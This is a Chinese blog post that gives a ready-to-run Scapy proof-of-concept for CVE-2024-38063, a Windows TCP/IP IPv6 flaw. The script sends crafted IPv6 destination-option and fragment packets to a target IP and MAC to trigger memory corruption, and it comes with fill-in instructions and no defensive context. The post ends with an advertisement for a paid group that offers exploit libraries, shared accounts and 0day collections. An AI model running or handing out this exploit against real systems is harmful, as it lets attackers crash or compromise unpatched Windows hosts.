Windows TCP_IP IPv6远程拒绝服务代码执行漏洞(CVE-2024-38063)

最新推荐文章于 2024-09-29 18:57:59 发布

棉花糖网络安全圈

最新推荐文章于 2024-09-29 18:57:59 发布

阅读量379

点赞数 1

分类专栏：漏洞复现文章标签： tcp/ip 网络协议网络网络安全

本文链接：https://blog.csdn.net/jingke666/article/details/141634532

版权

漏洞复现专栏收录该内容

10 篇文章 2 订阅

订阅专栏

poc：

iface填攻击机网卡名
ip_addr填目标机器IP
mac_addr填目标机器mac，mac地址的-改为:填入

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

内部福利介绍-更新啦，网络安全百分之八十的资源都可以在这找到！涵盖了POC库、账号共享、文档库、资源网获取、会员专属群，做你的网络安全资源大全！

近期更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至9000+